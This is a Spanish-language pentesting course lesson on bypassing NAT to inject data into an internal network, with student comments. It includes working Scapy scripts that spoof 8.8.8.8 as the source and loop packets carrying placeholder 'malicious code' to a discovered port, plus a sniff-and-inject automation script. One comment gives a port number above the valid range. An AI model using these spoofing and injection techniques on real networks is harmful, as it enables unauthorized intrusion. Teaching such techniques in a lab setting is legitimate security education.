Introducción al pentesting a redes

1

Pruebas de Penetración en Redes: Exploit y Mitigación

2

Configuración de Redes Virtuales con VirtualBox

3

Seguridad en Redes: Técnicas Avanzadas de Pentesting

4

Configuración y Funcionamiento de Servidores DHCP en Redes Locales

5

Configuración de Protocolos de Enrutamiento Dinámico en Redes

6

Configuración de RIP en Quagga para Redes IPv4 en Linux

7

Configuración de Protocolo RIP en Redes Simuladas

8

Configuración de N Add para traducción de direcciones IP

9

Traducción de Direcciones IP: NAT y su Aplicación Práctica

10

DNS: Obtención de Subdominios con Herramientas de Seguridad

Ataques a protocolos de red

11

Ataques de Ingeniería Social en Seguridad Informática

12

Ataques DNS: Redirección y Manipulación en Redes Locales

13

Ataques Hombre en el Medio usando DHCP Spoofing

14

Creación de Paquetes Personalizados con Scapy en Python

15

Monitoreo de Tráfico y Alteración de Redes con RIPv2

16

"Configuración de Interfaces en Redes Ficticias con Domi"

17

Análisis de Vulnerabilidades en Redes con NAT y Explotación de Puertos

18

Inyección de Datos en Redes Internas: Estrategias y Precauciones

Ataques de ingeniería social

19

Falsificación de Sitios Web para Captura de Credenciales

20

Ingeniería Social con SET: Ataques y Captura de Credenciales

21

"Uso de Metasploit para Ofuscación y Ejecución de Exploits"

22

Técnicas de Ataque de Clonación y Redirección Web con SET

Ataques de denegación de servicio

23

Ataques de Denegación de Servicio: Estrategias y Mitigación

24

Ataques de Denegación de Servicio con Hping3 en Kali Linux

25

Ataques de Denegación de Servicio: Estrategias y Ejecución

26

Ataques DDoS: Uso de Herramientas Comunes y Medidas Preventivas

27

Ataques de Denegación de Servicio: Estrategias y Herramientas

Ataques a redes inalámbricas

28

Intercepción de Tráfico y Contraseñas en Redes WiFi Seguras

29

Auditoría de Redes WiFi: Configuración y Monitoreo Avanzado

30

Obtención de Contraseñas WiFi con Aircrack y Airodump

31

Cifrado WPA2: Captura y Desencriptación de Contraseñas Wi-Fi

Conclusiones, creación de informe y bibliografía

32

Explotación de Vulnerabilidades en Protocolo DNS

33

Seguridad Informática: Análisis de Vulnerabilidades Red y Criptografía

No tienes acceso a esta clase

¡Continúa aprendiendo! Únete y comienza a potenciar tu carrera

Inyección de Datos en Redes Internas: Estrategias y Precauciones

18/33
Recursos

¿Cómo se puede utilizar el puerto identificado para inyectar información desde una red externa?

Una vez que has identificado el puerto que el NAT asigna para una transacción saliente, puedes intentar enviar información desde una red externa hacia la interna. Esto se logra considerando que el puerto puede cambiar dependiendo de la transacción, lo cual hace crucial revisarlo para asegurarse del número exacto que debes monitorear. Veamos paso a paso cómo se realiza este procedimiento:

  1. Elige el puerto del servidor DNS: Selecciona una IP y un puerto conocido, como el 8.8.8.8 en el puerto 53, para iniciar una conexión y capturar tráfico.

  2. Configura la herramienta para esperar respuesta:

    • Utiliza herramientas como Netcat para establecer una conexión y esperar una respuesta desde la IP a la cual envías la solicitud.
  3. Identifica el puerto de salida: Después de iniciar la conexión, revisa el tráfico para identificar el puerto de salida que la red interna asignó.

¿Cómo construir el paquete con Scapy para enviar datos?

Scapy es una herramienta poderosa para el análisis y generación de paquetes de red, permitiendo crear capas de encapsulado y enviar datos de manera controlada. A continuación, una guía básica para construir un paquete en Python usando Scapy:

from scapy.all import *

# Crea la capa de IP falsificando la IP de origen como la del servidor
ip = IP(src="IP_DEL_SERVIDOR", dst="IP_PUBLICA_DESTINO")

# Crea la capa TCP con el puerto DNS como origen y el puerto identificado como destino
tcp = TCP(sport=53, dport=PUERTO_IDENTIFICADO)

# Añade una carga útil que puede ser un texto plano o código malicioso
payload = Raw(load="Datos o código malicioso")

# Construye el paquete con las capas definidas
paquete = ip/tcp/payload

# Envía el paquete repetidamente
send(paquete, inter=3, loop=1, iface="eth0")

¿Qué consideraciones son cruciales al ejecutar este tipo de ataque?

  1. Monitoreo y respuesta automática:

    • En un escenario real, deberías tener un sistema que monitoree automáticamente las conexiones salientes y responda inmediatamente a nuevas solicitudes. Aquí radica la importancia de programar scripts que utilicen Scapy para manejar las respuestas.
  2. Automatización con Python:

    • La automatización y el monitoreo pueden mejorarse con scripts de Python, aprovechando que Scapy permite programar para detectar conexiones y puertos de manera dinámica.
  3. Desafío técnico:

    • Si bien ejecutar scripts en la consola puede funcionar para pruebas básicas, implementar un programa completo ofrece una solución más práctica en un entorno con múltiples máquinas y servicios activos.

Este enfoque no solo incrementa la eficiencia del ataque, sino que también expone las vulnerabilidades del sistema y subraya la necesidad de mejorar las configuraciones de seguridad y políticas de red. Aprender a utilizar eficazmente herramientas como Scapy, una vez que te has familiarizado con Python, te dotará de mayores capacidades en el ámbito de la seguridad informática. A medida que avances, explorar nuevas posibilidades dentro de este tipo de herramientas puede ser tanto educativo como estimulante.

Aportes 10

Preguntas 1

Ordenar por:

¿Quieres ver más aportes, preguntas y respuestas de la comunidad?

El curso es excelente, tan bueno y completo que llego a perderme en varias partes. Es para repasarlo una y otra vez. El contenido sí vale la pena.

Con el siguiente script se puede automatizar un poco el proceso:

#!/usr/bin/python3

from scapy.all import sniff, UDP, Ether, IP, sendp

port = 0
def print_summary(pkt):
    global port
    if pkt[UDP].sport != None:
        port=pkt[UDP].sport


while port == 0:
	packets = sniff(filter="dst host 8.8.8.8 and dst port 53 and src host 192.168.120.1 and udp", count=1, iface="eth0", timeout=1, prn=print_summary)


a = Ether()
b = IP(src="8.8.8.8", dst="192.168.120.1")
c = UDP(sport=53, dport=port)
d = r"Malicious payload"

packet = a/b/c/d
sendp(packet, loop=1, inter=3, iface="eth0")

en casi de que raw no te funciona

d = r"Esto podira ser codigo malicioso"

esto es por la versión que usa python

NATBYPASS

El ataque de NATBypass, nos permite aprovecharnos de una vulnerabilidad de este protocolo para, como su nombre lo indica, saltarnoslo y poder generar una conexión directa con el equipo a través de un puerto dado. El cual se deberá conocer a través de un comando que mencionaremos más adelante.

  1. El primer paso es crear el paquete falso con Scapy:

    a = Ether()
    b = IP(src="8.8.8.8", dst="192.168.120.1")  //src es la red que estamos falsificando y dst es la ip pública
    c= UDP(sport=53,dport=44576)  //dport es el puerto de la víctima.
    d = raw(bytes_encode("Aqui va el codigo malicioso"))
    packet =a/b/c/d
    
    

    Pero debemos ser rápidos si queremos que el ataque funcione, por lo que, una vez armado el paquete, ejecutamos el comando en nuestra máquina de ubuntu que nos permite conocer el puerto al que enviaremos la solicitud falsificaa.

    echo "Mensaje" | nc -vun 8.8.8.8 53
    								 ↓		 ↓			  	↓
    						   -Usa    -verbose -Puerto
    								Netcat -UDP			  DNS	
                           -No DNS
    								  		  Inverso         
    

Luego, en mi máquina atacante, reviso Wireshark en los registros DNS, valido el puerto en el protocolo UPD y lo añado al siguiente comando en sapy:

packet[UDP].dport= 535689 → puerto obtenido
sendp(packet,loop=1,inter=3,iface="eth0")

Se aprende muhco en cada clase.

Wow que interesante la manera de usar nat

Muy interesante la herramienta Scapy 🐍

Lo de raw me funciono con:

d = "Codigo malicioso"

Me quedó la duda, en que lenguaje debe estar escrito el código malicioso se puede insertar en el raw?